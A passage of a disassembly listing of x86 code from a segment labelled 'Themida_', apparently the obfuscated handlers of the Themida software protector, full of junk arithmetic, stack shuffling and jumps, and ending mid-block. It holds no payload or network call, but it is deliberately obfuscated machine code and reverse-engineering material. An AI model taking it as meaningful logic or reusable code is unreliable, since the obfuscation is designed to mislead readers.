loc_584D9B:				; CODE XREF: sub_584787+F27j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+10h+var_10]
		pop	esp
		push	57A9h
		mov	[esp+10h+var_10], ebp
		jmp	loc_588323
; ---------------------------------------------------------------------------


loc_584DAF:				; CODE XREF: sub_584787+4186j
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_587D1F
; ---------------------------------------------------------------------------


loc_584DBD:				; CODE XREF: sub_584787+6D55j
		push	esp
		jmp	loc_58AD8B
; ---------------------------------------------------------------------------


loc_584DC3:				; CODE XREF: sub_584787+2677j
		add	ebx, 1ACB6366h
		jmp	loc_58BA92
; ---------------------------------------------------------------------------


loc_584DCE:				; CODE XREF: sub_584787+388Dj
		xor	bl, 9Dh
		sub	al, bl
		pop	ebx
		add	al, bl
		add	al, 0CDh
		push	ecx
		jmp	loc_587C55
; ---------------------------------------------------------------------------


loc_584DDE:				; DATA XREF: Themida_:00584370o
		lodsb
		jmp	loc_58AB19
; ---------------------------------------------------------------------------


loc_584DE4:				; CODE XREF: sub_584787+3FC5j
		mov	ebx, 65E01A45h
		add	esi, ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_58673B
; ---------------------------------------------------------------------------


loc_584DF9:				; CODE XREF: Themida_:0058459Cj
		mov	eax, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_58F53B
; ---------------------------------------------------------------------------


loc_584E1B:				; CODE XREF: sub_584787+342Dj
		add	ecx, 65B13017h
		jmp	loc_585CDE
; ---------------------------------------------------------------------------


loc_584E26:				; CODE XREF: sub_584787+4C26j
		mov	[esp+14h+var_14], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 692F60BDh
		push	ebp
		mov	ebp, 2003AF6h
		xchg	ecx, ebp
		push	ecx
		not	[esp+20h+var_20]
		jmp	loc_586F31
; ---------------------------------------------------------------------------


loc_584E42:				; CODE XREF: sub_584787+43A2j
		not	al
		jmp	loc_58B21C
; ---------------------------------------------------------------------------


loc_584E49:				; CODE XREF: sub_584787+4B5Aj
		mov	eax, 4D4C793Dh
		sub	eax, 0FFFFFFFFh
		xor	eax, 76E04474h
		push	edx
		mov	edx, 486E4E32h
		add	eax, edx
		jmp	loc_58DD7B
; ---------------------------------------------------------------------------


loc_584E65:				; CODE XREF: sub_584787+4449j
		push	esi
		push	eax
		jmp	loc_5856B3
; ---------------------------------------------------------------------------


loc_584E6C:				; DATA XREF: Themida_:00584384o
		push	esi
		push	ecx
		push	4B895ED2h
		pop	ecx
		xor	ecx, 12426C77h
		push	891h
		mov	[esp+38h+var_38], edi
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ebx
		mov	ebx, 401C5CC6h
		shr	ebx, 1
		and	ebx, 73C53342h
		shl	ebx, 2
		shl	ebx, 7
		sub	ebx, 1
		sub	ebx, 0B1AF7030h
		mov	edi, ebx
		pop	ebx
		sub	ecx, edi
		mov	edi, [esp+38h+var_38]
		push	ecx
		jmp	loc_58A1F0
; ---------------------------------------------------------------------------


loc_584EB5:				; CODE XREF: sub_584787+6AEEj
		sub	ebx, 4F933AE0h
		jmp	loc_587C67
; ---------------------------------------------------------------------------


loc_584EC0:				; CODE XREF: sub_584787+7E23j
		push	esi
		jmp	loc_586376
; ---------------------------------------------------------------------------


loc_584EC6:				; CODE XREF: sub_584787+FD4j
		mov	ebp, 1E670CD3h
		jmp	loc_589D91
; ---------------------------------------------------------------------------


loc_584ED0:				; CODE XREF: sub_584787+60Fj
		sub	ebp, 4
		xor	ebp, [esp+14h+var_14]
		xor	[esp+14h+var_14], ebp
		xor	ebp, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], edx
		mov	dh, 0A8h
		add	al, dh
		jmp	loc_58EE8C
; ---------------------------------------------------------------------------


loc_584EEC:				; CODE XREF: sub_584787+5D8Fj
		add	ebp, 56BF0B6Ah
		neg	ebp
		add	ebp, 0C5618743h
		jmp	loc_589EED
; ---------------------------------------------------------------------------


loc_584EFF:				; CODE XREF: sub_584787+5421j
		xor	edi, 4EC414D5h
		push	eax
		push	edx
		mov	edx, 0CE62705Eh
		jmp	loc_58A9B7
; ---------------------------------------------------------------------------


loc_584F11:				; CODE XREF: sub_584787+A47Ej
		xor	edi, [esp+18h+var_18]
		xor	[esp+18h+var_18], edi
		xor	edi, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		sub	ebx, 6F3F7360h
		push	16CCh
		mov	[esp+1Ch+var_1C], esi
		push	ebx
		jmp	loc_58FCB4
; ---------------------------------------------------------------------------


loc_584F31:				; CODE XREF: sub_584787+4D1j
		sub	esp, 4
		mov	[esp-8+arg_4], esi
		jmp	loc_58490D
; ---------------------------------------------------------------------------


loc_584F3C:				; CODE XREF: sub_584787+2A66j
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_58B5AC
; ---------------------------------------------------------------------------


loc_584F44:				; CODE XREF: sub_584787+28C8j
		add	ebx, ecx
		pop	ecx
		push	edx
		push	ebx
		mov	ebx, 2
		jmp	loc_58C5AF
; ---------------------------------------------------------------------------


loc_584F53:				; CODE XREF: sub_584787+6191j
		pop	esp
		jmp	loc_58B061
; ---------------------------------------------------------------------------


loc_584F59:				; CODE XREF: sub_584787+3906j
		inc	edx
		shl	edx, 2
		jmp	loc_5866DD
; ---------------------------------------------------------------------------


loc_584F62:				; CODE XREF: sub_584787+49F1j
		mov	esp, [esp-8+arg_4]
		shr	byte ptr [esp-8+arg_4],	cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_584F6E:				; CODE XREF: sub_584787+29A8j
		push	2275h
		mov	[esp+0], ebx
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 2A137C62h
		mov	ebx, ecx
		pop	ecx
		push	ecx
		push	6577224Fh
		pop	ecx
		sub	ecx, 36F1014Fh
		xchg	esi, ecx
		inc	esi
		xchg	esi, ecx
		not	ecx
		push	0A1Ch
		mov	[esp+8+var_8], edx
		jmp	loc_586E22
; ---------------------------------------------------------------------------


loc_584FA8:				; CODE XREF: sub_584787-1DCj
		xchg	ecx, [esp+0]
		jmp	loc_58E274
; ---------------------------------------------------------------------------


loc_584FB0:				; CODE XREF: sub_584787+B2C9j
		add	eax, 4D2E2F68h
		pop	ecx
		push	edx
		push	ebp
		jmp	loc_589228
; ---------------------------------------------------------------------------


loc_584FBD:				; DATA XREF: Themida_:005842A0o
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ecx, 61735AFCh
		not	ecx
		dec	ecx
		shl	ecx, 7
		push	ebp
		push	74BDh
		mov	[esp+10h+var_10], ecx
		push	edx
		mov	edx, 1D721AF3h
		mov	ecx, 7D4158D7h
		xor	ecx, edx
		pop	edx
		jmp	loc_590109
; ---------------------------------------------------------------------------


loc_584FF0:				; CODE XREF: sub_584787+8C61j
		pop	eax
		push	ecx
		jmp	loc_5885EC
; ---------------------------------------------------------------------------


loc_584FF7:				; CODE XREF: sub_584787+35D3j
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ch, 0F7h
		not	ch
		shr	ch, 8
		or	ch, 19h
		jmp	loc_588C33
; ---------------------------------------------------------------------------


loc_58500C:				; DATA XREF: Themida_:005841CCo
		lodsb
		push	edx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_5890B1
; ---------------------------------------------------------------------------


loc_585019:				; CODE XREF: sub_584787+B12Bj
		pop	eax
		add	esi, edx
		pop	edx
		push	ecx
		jmp	loc_58E091
; ---------------------------------------------------------------------------


loc_585023:				; CODE XREF: sub_5846A4+17j
		push	36BCh
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_58C5F8
; ---------------------------------------------------------------------------


loc_58504A:				; CODE XREF: sub_584787+7AB7j
		xor	edi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		mov	cx, word ptr [esp+1Ch+var_1C]
		push	2ACAh
		mov	[esp+20h+var_20], ecx
		jmp	loc_585CAD
; ---------------------------------------------------------------------------


loc_585061:				; CODE XREF: sub_584787+C86j
		sub	ebx, 4E9B0DE8h
		jmp	loc_586137
; ---------------------------------------------------------------------------


loc_58506C:				; CODE XREF: sub_584787+38ABj
		xchg	eax, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		sub	esp, 4
		mov	[esp+24h+var_26+2], ecx
		push	ebx
		push	3F96h
		mov	[esp+2Ch+var_2C], edi
		mov	edi, 7F393B36h
		sub	edi, 0FFFFFFFFh
		jmp	loc_58B23A
; ---------------------------------------------------------------------------


loc_585091:				; CODE XREF: sub_584787+3AFFj
		mov	[esp+2Ch+var_2C], eax
		jmp	loc_58E51F
; ---------------------------------------------------------------------------


loc_585099:				; CODE XREF: sub_584787+73C7j
		push	ebp
		jmp	loc_587833
; ---------------------------------------------------------------------------


loc_58509F:				; CODE XREF: sub_584787+2278j
		pop	ecx
		sub	al, 0F2h
		add	al, bl
		push	ebx
		push	ecx
		jmp	loc_58A30C
; ---------------------------------------------------------------------------


loc_5850AB:				; CODE XREF: sub_584787+A456j
		mov	[esp+34h+var_34], ecx
		mov	ecx, 4438789Ah
		push	edi
		push	edx
		mov	edx, 2BDC4BB8h
		push	edx
		pop	edi
		pop	edx
		add	ebx, edi
		pop	edi
		add	ebx, ecx
		push	esi
		mov	esi, 21E56DFAh
		inc	esi
		xor	esi, 417B734Fh
		xor	esi, 4B42550Ch
		add	ebx, 578F4303h
		sub	ebx, esi
		sub	ebx, 578F4303h
		pop	esi
		jmp	loc_58C689
; ---------------------------------------------------------------------------


loc_5850E9:				; CODE XREF: sub_584787+717Bj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5850EE:				; CODE XREF: sub_584787+98F3j
		push	ecx
		mov	ecx, 3F704DDFh
		push	ebp
		mov	ebp, 3AD15493h
		neg	ebp
		shr	ebp, 7
		and	ebp, 6A935E37h
		or	ebp, 60264AB2h
		jmp	loc_58FD77
; ---------------------------------------------------------------------------


loc_585110:				; CODE XREF: sub_584787+C56j
		xor	esi, edi
		pop	edi
		sub	esi, 0BB752414h
		xor	ebx, esi
		pop	esi
		add	esi, 4BF64D95h
		add	esi, ebx
		sub	esi, 4BF64D95h
		pop	ebx
		xor	esi, [esp+30h+var_30]
		jmp	loc_587780
; ---------------------------------------------------------------------------


loc_585133:				; CODE XREF: sub_584787+66DDj
		pop	esp
		add	eax, edx
		sub	eax, 477B76h
		pop	edx
		push	edi
		mov	edi, 39346E10h
		push	edi
		xchg	eax, [esp+30h+var_30]
		not	eax
		xchg	eax, [esp+30h+var_30]
		jmp	loc_58A33B
; ---------------------------------------------------------------------------


loc_585150:				; CODE XREF: Themida_:00590244j
		pop	ecx
		push	15F8h
		mov	[esp+30h+var_30], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_5893BB
; ---------------------------------------------------------------------------


loc_585167:				; CODE XREF: sub_584787+486Cj
		push	ebx
		mov	ebx, 0E8C4BABh
		dec	ebx
		jmp	loc_58900A
; ---------------------------------------------------------------------------


loc_585173:				; CODE XREF: sub_584787+6A1Fj
		push	0E9025F6h
		pop	ebx
		and	ebx, 2BB30AB4h
		push	ebp
		mov	ebp, 0A8449E8h
		jmp	loc_590550
; ---------------------------------------------------------------------------


loc_58518A:				; CODE XREF: sub_584787+A9E0j
		mov	edx, 5DC26B2Bh
		add	edx, 0A23D94D7h
		mov	ebp, edx
		pop	edx
		add	esi, ebp
		mov	ebp, [esp+38h+var_38]
		add	esp, 4
		xchg	esi, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		push	ebx
		push	ecx
		jmp	loc_5894C2
; ---------------------------------------------------------------------------


loc_5851B0:				; CODE XREF: sub_584787+2573j
		xor	dl, al
		pop	ax
		sub	bl, dl
		mov	edx, [esp+3Ah+var_3C+2]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	eax
		push	ebp
		push	esi
		push	4F3530DDh
		jmp	loc_58C1E1
; ---------------------------------------------------------------------------


loc_5851CF:				; CODE XREF: sub_584787+9382j
		add	ecx, edi
		pop	edi
		push	ecx
		push	[esp+4Ah+var_46]
		mov	ecx, [esp+4Eh+var_4E]
		add	esp, 4
		pop	dword ptr [esp+0]
		jmp	loc_587E48
; ---------------------------------------------------------------------------


loc_5851E5:				; CODE XREF: sub_584787+7A94j
		push	eax
		mov	ah, 0C7h
		jmp	loc_58DC16
; ---------------------------------------------------------------------------


loc_5851ED:				; CODE XREF: sub_584787+B86j
		push	esi
		mov	esi, 55C6399Fh
		mov	ebp, 6C2E0CF5h
		jmp	loc_58ED42
; ---------------------------------------------------------------------------


loc_5851FD:				; CODE XREF: sub_584787+3A21j
		inc	ebx
		jmp	loc_5875A4
; ---------------------------------------------------------------------------


loc_585203:				; CODE XREF: sub_584787+6F42j
		or	ecx, 64FB79FDh
		jmp	loc_58C692
; ---------------------------------------------------------------------------


loc_58520E:				; CODE XREF: sub_584787+B3ACj
		pop	[esp+4Eh+var_4E]
		mov	esp, [esp+0]
		jmp	loc_58C5EF
; ---------------------------------------------------------------------------


loc_585219:				; CODE XREF: sub_584787+6CCAj
		pop	ebx
		push	esi
		push	ecx
		jmp	loc_58B6C4
; ---------------------------------------------------------------------------


loc_585221:				; CODE XREF: sub_584787+6994j
		mov	[esp+4Eh+var_4E], eax
		xor	[esp+4Eh+var_4E], ebx
		xor	ebx, [esp+4Eh+var_4E]
		jmp	loc_58D617
; ---------------------------------------------------------------------------


loc_58522F:				; CODE XREF: sub_584787+4E23j
		add	bl, 72h
		add	bl, 0FFh
		xor	bl, 3Fh
		add	al, 71h
		sub	al, 0A3h
		jmp	loc_58BFCA
; ---------------------------------------------------------------------------


loc_585241:				; CODE XREF: sub_584787+2961j
		xchg	esi, [esp+4Eh+var_4E]
		pop	ecx
		add	ecx, 3E442E9Dh
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp+46h+var_46]
		pop	esp
		push	[esp+42h+var_42]
		mov	ecx, [esp+46h+var_46]
		add	esp, 4
		push	ebx
		jmp	loc_58B258
; ---------------------------------------------------------------------------


loc_58526A:				; CODE XREF: sub_584787+3DE3j
		mov	ebp, 5AFC2D20h
		sub	ebp, 442128E0h
		jmp	loc_589F72
; ---------------------------------------------------------------------------


loc_58527A:				; CODE XREF: sub_584787+72EAj
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_58BB73
; ---------------------------------------------------------------------------


loc_585290:				; CODE XREF: sub_584787+701Ej
		add	ax, 7255h
		add	ax, bx
		sub	ax, 7255h
		jmp	loc_58B511
; ---------------------------------------------------------------------------


loc_5852A0:				; CODE XREF: sub_584787+588Cj
		dec	eax
		and	eax, 2FAE139Dh
		inc	eax
		or	eax, 10B277F6h
		sub	eax, 10B677F5h
		jmp	loc_586B9E
; ---------------------------------------------------------------------------


loc_5852B6:				; CODE XREF: sub_584787+9513j
		neg	ebx
		jmp	loc_585BF3
; ---------------------------------------------------------------------------


loc_5852BD:				; CODE XREF: sub_584787+139Bj
		add	ebp, 0B53AF79Ch
		sub	ecx, 7F2F5179h
		add	ecx, ebp
		add	ecx, 7F2F5179h
		mov	ebp, [esp+0]
		add	esp, 4
		push	ecx
		jmp	loc_587CC8
; ---------------------------------------------------------------------------


loc_5852E0:				; CODE XREF: sub_584787+ABB9j
		add	bx, dx
		jmp	loc_58E842
; ---------------------------------------------------------------------------


loc_5852E8:				; CODE XREF: sub_584787+9185j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5852ED:				; CODE XREF: sub_584787+7A81j
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+46h+var_46], edx
		sub	esp, 4
		mov	[esp+0], eax
		push	ecx
		sub	esp, 4
		mov	[esp+52h+var_54+2], ebp
		jmp	loc_5851ED
; ---------------------------------------------------------------------------


loc_585312:				; CODE XREF: sub_584787+9761j
		mov	[esp+52h+var_54+2], ecx
		jmp	loc_58623D
; ---------------------------------------------------------------------------


loc_58531A:				; CODE XREF: sub_584787+73D0j
		mov	edi, esp
		add	edi, 4
		jmp	loc_58822D
; ---------------------------------------------------------------------------


loc_585327:				; CODE XREF: sub_584787+9CF7j
		add	esi, 72D84181h
		add	esi, eax
		jmp	loc_5896BB
; ---------------------------------------------------------------------------


loc_585334:				; CODE XREF: sub_584787+5323j
		add	esi, 8A446B03h
		sub	ebx, 57AA5C8Fh
		add	ebx, esi
		add	ebx, 57AA5C8Fh
		jmp	loc_58C304
; ---------------------------------------------------------------------------


loc_58534D:				; CODE XREF: sub_584787+9282j
		sub	[esp+52h+var_4E], eax
		pop	eax
		push	2A79h
		jmp	loc_587E8C
; ---------------------------------------------------------------------------


loc_58535C:				; CODE XREF: sub_584787+9370j
		shr	edi, 3
		xor	edi, 13A65EBCh
		xor	ecx, edi
		pop	edi
		jmp	loc_58D87D
; ---------------------------------------------------------------------------


loc_58536D:				; CODE XREF: sub_584787+5B1j
		push	ebp
		jmp	loc_58D664
; ---------------------------------------------------------------------------


loc_585373:				; CODE XREF: sub_584787+5EBj
		mov	esi, 4
		add	ebx, esi
		jmp	loc_58872B
; ---------------------------------------------------------------------------


loc_58537F:				; CODE XREF: sub_584787+AC91j
		pop	ecx
		sub	dh, 0DAh
		not	dh
		or	dh, 6Fh
		add	dh, 55h
		jmp	loc_586C04
; ---------------------------------------------------------------------------


loc_585390:				; CODE XREF: sub_584787+8FDEj
		and	edx, 301D4535h
		shl	edx, 2
		push	edi
		mov	edi, 58A6D070h
		sub	edx, edi
		pop	edi
		sub	ebx, edx
		pop	edx
		and	ebx, 90E5194h
		xor	ebx, 255725E5h
		add	ebx, 0F332EF85h
		jmp	loc_587D9D
; ---------------------------------------------------------------------------


loc_5853BC:				; CODE XREF: sub_584787+B63Aj
		shl	edx, 2
		push	ebx
		push	ebp
		jmp	loc_587BB9
; ---------------------------------------------------------------------------


loc_5853C6:				; CODE XREF: sub_584787+5FBBj
		shl	ebx, 2
		push	ecx
		mov	ecx, 17106878h
		jmp	loc_58C8CB
; ---------------------------------------------------------------------------


loc_5853D4:				; CODE XREF: sub_584787+A5A9j
		add	edi, ebp
		pop	ebp
		sub	edi, 8D82223Ah
		jmp	loc_585110
; ---------------------------------------------------------------------------


loc_5853E2:				; CODE XREF: sub_584787+131j
		add	esp, 4
		push	2514h
		mov	[esp+18h+var_18], ebp
		jmp	loc_5884C1
; ---------------------------------------------------------------------------


loc_5853F2:				; CODE XREF: sub_584787+6666j
		mov	ebx, 0FA41101Fh
		add	ebx, esi
		jmp	loc_58FB38
; ---------------------------------------------------------------------------


loc_5853FE:				; CODE XREF: sub_584787+16F2j
		sub	ebx, 7E9C1711h
		pop	ecx
		add	ebx, 4E9B0DE8h
		add	ebx, ecx
		jmp	loc_585061
; ---------------------------------------------------------------------------


loc_585412:				; CODE XREF: sub_584787+A6D1j
		pop	esp
		jmp	loc_58EA67
; ---------------------------------------------------------------------------


loc_585418:				; CODE XREF: sub_584787+428j
		pop	esi
		sub	ebx, eax
		push	edx
		mov	edx, 38F906B3h
		sub	ebx, edx
		pop	edx
		push	26Fh
		mov	[esp+0Ch+var_C], esi
		push	ecx
		mov	ecx, 13FB0100h
		add	ecx, 1F3140CFh
		inc	ecx
		add	ecx, 419C5543h
		jmp	loc_58B27A
; ---------------------------------------------------------------------------


loc_585444:				; CODE XREF: sub_584787+87FEj
		push	edi
		mov	edi, 6BC62DFAh
		jmp	loc_589BCF
; ---------------------------------------------------------------------------


loc_58544F:				; CODE XREF: sub_584787+12A3j
		push	[esp+14h+var_14]
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		push	50F2h
		mov	[esp+18h+var_18], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_58B92E
; ---------------------------------------------------------------------------


loc_58546D:				; CODE XREF: sub_584787+7D04j
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		push	ecx
		push	edx
		mov	dl, 0F4h
		mov	cl, dl
		pop	edx
		push	eax
		push	ebx
		mov	bh, cl
		mov	ah, bh
		pop	ebx
		push	ecx
		mov	cl, ah
		mov	dl, cl
		jmp	loc_58B831
; ---------------------------------------------------------------------------


loc_58548E:				; CODE XREF: sub_584787+7128j
		add	edi, 1FFC0C3Eh
		add	edi, ebx
		sub	edi, 1FFC0C3Eh
		push	ebp
		mov	ebp, 49AE2386h
		sub	edi, ebp
		mov	ebp, [esp+30h+var_30]
		add	esp, 4
		mov	ebx, [esp+2Ch+var_2C]
		add	esp, 4
		add	edi, esi
		sub	edi, 2C975282h
		pop	esi
		add	edi, 2
		xchg	edi, [esp+24h+var_26+2]
		jmp	loc_58E5DD
; ---------------------------------------------------------------------------


loc_5854C7:				; CODE XREF: sub_584787+655Bj
		pop	edx
		sub	bl, al
		jmp	loc_5858C7
; ---------------------------------------------------------------------------


loc_5854CF:				; CODE XREF: sub_584787+2A17j
		sub	ecx, 2663767h
		push	ebx
		mov	ebx, 63CD4EAEh
		sub	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 2C87098Eh
		jmp	loc_58E045
; ---------------------------------------------------------------------------


loc_5854E9:				; CODE XREF: sub_584787+1C0Dj
		and	edi, esi
		pop	esi
		add	edi, 1B962791h
		and	edx, edi
		jmp	loc_5848BD
; ---------------------------------------------------------------------------


loc_5854F9:				; CODE XREF: sub_584787+77D8j
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebx
		mov	bl, 4Dh
		jmp	loc_58F0A2
; ---------------------------------------------------------------------------


loc_585509:				; CODE XREF: sub_584787+5361j
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		pop	[esp+20h+var_20]
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], ebx
		push	5103h
		mov	[esp+20h+var_20], ebp
		sub	esp, 4
		mov	[esp+24h+var_26+2], edi
		push	edx
		mov	edx, eax
		push	ebp
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		mov	edx, [esp+0]
		add	esp, 4
		mov	ebp, edi
		mov	edi, [esp+24h+var_26+2]
		jmp	loc_58D31A
; ---------------------------------------------------------------------------


loc_585545:				; CODE XREF: sub_584787+556j
		and	edi, 675E17A2h
		shl	edi, 4
		add	edi, 64F70ED7h
		xor	edi, 0D95856F3h
		push	edx
		mov	edx, edi
		mov	eax, edx
		pop	edx
		pop	edi
		push	ebx
		mov	ebx, 7857642Ah
		shl	ebx, 5
		jmp	loc_58EAE7
; ---------------------------------------------------------------------------


loc_58556F:				; CODE XREF: sub_584787+8187j
		pop	esp
		mov	[esp+4+var_4], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_584649
; ---------------------------------------------------------------------------


loc_585582:				; CODE XREF: sub_584787+794Fj
		mov	[esp+4+var_4], eax
		xchg	ebx, [esp+4+var_4]
		push	ebx
		jmp	loc_58C58F
; ---------------------------------------------------------------------------


loc_58558E:				; CODE XREF: sub_584787+206Aj
		or	eax, 2CB12276h
		or	eax, 7D066E47h
		xor	eax, 7FBF7F7Bh
		jmp	loc_58D4B6
; ---------------------------------------------------------------------------


loc_5855A2:				; CODE XREF: sub_5900ED-ABj
		add	ecx, 74DB40B4h
		add	ecx, ebx
		sub	ecx, 74DB40B4h
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		add	ecx, 2
		jmp	loc_586AD8
; ---------------------------------------------------------------------------


loc_5855BF:				; CODE XREF: sub_584787+5E86j
		mov	ebp, 16BD021Eh
		add	edi, ebp
		pop	ebp
		xor	edi, 62F545E6h
		add	edi, 0BB0BF8ACh
		add	eax, edi
		jmp	loc_588599
; ---------------------------------------------------------------------------


loc_5855DA:				; CODE XREF: sub_584787-143j
		pop	ebx
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		btc	word ptr [esp-0Ch+arg_8], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5855F5:				; CODE XREF: sub_584787+329Cj
		mov	bh, 17h
		mov	dh, bh
		pop	ebx
		or	ch, dh
		mov	edx, [esp-0Ch+arg_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_5871A3
; ---------------------------------------------------------------------------


loc_585615:				; CODE XREF: sub_584787+1CC1j
		not	[esp-4+arg_0]
		pop	edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_5896DE
; ---------------------------------------------------------------------------


loc_585624:				; CODE XREF: sub_584787+A211j
		inc	ebx
		push	edx
		mov	edx, 5DFA0032h
		dec	edx
		sub	edx, 5264B7CCh
		xor	ebx, edx
		pop	edx
		and	ecx, ebx
		pop	ebx
		add	ecx, 15FD708Dh
		mov	edi, ecx
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_58B49B
; ---------------------------------------------------------------------------


loc_58564B:				; CODE XREF: sub_584787+3F9Fj
		xor	[esp+0], edx
		pop	eax
		push	ebx
		jmp	loc_58DE4D
; ---------------------------------------------------------------------------


loc_585655:				; CODE XREF: sub_584787+9A68j
		mov	ebx, 5D9A0FB9h
		xor	ecx, ebx
		pop	ebx
		sub	edx, 12136975h
		add	edx, ecx
		add	edx, 12136975h
		pop	ecx
		jmp	loc_58F0E3
; ---------------------------------------------------------------------------


loc_585671:				; CODE XREF: sub_584787+90F1j
		mov	[esp-18h+arg_12+2], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_58DDE2
; ---------------------------------------------------------------------------


loc_58567E:				; CODE XREF: sub_584787+A8CEj
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		push	7424h
		mov	[esp-14h+arg_E+2], ecx
		push	[esp-14h+arg_12+2]
		jmp	loc_58CD50
; ---------------------------------------------------------------------------


loc_585695:				; CODE XREF: sub_584787+B9E4j
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_58F401
; ---------------------------------------------------------------------------


loc_58569F:				; CODE XREF: sub_584787+9F70j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_584D9B
; ---------------------------------------------------------------------------


loc_5856B3:				; CODE XREF: sub_584787+6E0j
		push	4090524Fh
		jmp	loc_586185
; ---------------------------------------------------------------------------


loc_5856BD:				; CODE XREF: sub_584787+BD00j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58B1C6
; ---------------------------------------------------------------------------


loc_5856CB:				; CODE XREF: sub_584787+5357j
		pop	ebp
		sub	esi, 2
		xor	esi, [esp+30h+var_30]
		xor	[esp+30h+var_30], esi
		xor	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		mov	word ptr [esp+30h+var_30], cx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5856E7:				; CODE XREF: sub_584787+371j
		add	esi, 4
		xchg	esi, [esp+18h+var_18]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_586A66
		push	13CCh
		jmp	loc_58B9B4
; ---------------------------------------------------------------------------


loc_585706:				; CODE XREF: sub_584787+3BF6j
		push	edx
		mov	edx, 619D3B16h
		add	[esp+1Ch+var_14], edx
		pop	edx
		sub	[esp+18h+var_14], edi
		sub	[esp+18h+var_14], 619D3B16h
		mov	edi, [esp+18h+var_18]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58D639
; ---------------------------------------------------------------------------


loc_585731:				; CODE XREF: sub_584787+34EDj
		add	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		xor	ebx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebx
		xor	ebx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		cmp	ecx, eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58574C:				; CODE XREF: sub_584787+2B55j
		push	eax
		jmp	loc_58C4B3
; ---------------------------------------------------------------------------


loc_585752:				; CODE XREF: sub_584787+5648j
		push	7F13h
		mov	[esp+24h+var_26+2], esi
		push	ebp
		jmp	loc_584EC6
; ---------------------------------------------------------------------------


loc_585760:				; CODE XREF: sub_584787+5077j
		pop	ebx
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp+24h+var_26+2]
		jmp	loc_58F8CE
; ---------------------------------------------------------------------------


loc_585772:				; DATA XREF: Themida_:005842CCo
		mov	ecx, [esp+24h+var_26+2]
		jmp	loc_5893AA
; ---------------------------------------------------------------------------


loc_58577A:				; CODE XREF: sub_584787+3F0j
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		mov	edx, edi
		push	[esp+10h+var_10]
		pop	edi
		add	esp, 4
		and	eax, edx
		jmp	loc_588D4E
; ---------------------------------------------------------------------------


loc_585793:				; CODE XREF: sub_584787+620Cj
		push	4DE0h
		jmp	loc_58A1C3
; ---------------------------------------------------------------------------


loc_58579D:				; CODE XREF: sub_584787+6C4Dj
		push	edx
		mov	edx, 4D1362A7h
		add	edx, 0FFFFFFFFh
		add	edx, 0FDC30B76h
		sub	esi, edx
		pop	edx
		sub	esi, 0A28462Eh
		push	0
		push	[esp+14h+var_14]
